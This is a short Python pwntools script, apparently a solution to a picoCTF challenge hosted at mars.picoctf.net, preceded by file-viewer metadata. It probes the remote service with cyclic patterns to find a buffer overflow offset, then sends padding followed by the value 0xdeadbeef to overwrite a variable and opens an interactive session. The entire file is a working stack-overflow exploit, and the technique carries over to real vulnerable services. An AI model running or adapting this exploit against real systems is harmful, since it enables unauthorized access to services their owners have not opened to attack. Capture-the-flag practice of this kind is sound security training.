56 lines
1.2 KiB
Python
Executable File
56 lines
1.2 KiB
Python
Executable File
#!/usr/bin/env python
|
|
from pwn import *
|
|
|
|
def get_conn():
|
|
#return process("./chall")
|
|
return remote("mars.picoctf.net", 31890)
|
|
|
|
def try_memory_offset(offset):
|
|
cycle = cyclic(length=offset, n=8)
|
|
|
|
conn = get_conn()
|
|
|
|
conn.recvuntil(b"see?")
|
|
conn.recvline()
|
|
|
|
conn.sendline(cycle)
|
|
conn.recvuntil(b"== ")
|
|
result = conn.recvline(keepends=False)
|
|
|
|
conn.close()
|
|
|
|
return result
|
|
|
|
base = 0x100
|
|
exp = 0
|
|
p = log.progress("searching for variable offset")
|
|
while True:
|
|
offset = base + 2**exp
|
|
p.status(f"trying offset {offset}")
|
|
try:
|
|
result = try_memory_offset(offset)
|
|
except:
|
|
base = base + 2**(exp-1)
|
|
exp = 0
|
|
continue
|
|
if result != b"0x0":
|
|
next_result = 0
|
|
i = 0
|
|
while result != next_result:
|
|
i += 1
|
|
result = next_result
|
|
next_result = try_memory_offset(offset+i)
|
|
offset = cyclic_find(int(result, 16), n=8)
|
|
p.success(f"found result {unhex(result[2:])} at offset {offset}")
|
|
break
|
|
exp += 1
|
|
|
|
conn = get_conn()
|
|
|
|
conn.recvuntil(b"see?")
|
|
conn.recvline()
|
|
|
|
conn.sendline(b"a"*offset + p64(0xdeadbeef))
|
|
conn.interactive()
|
|
|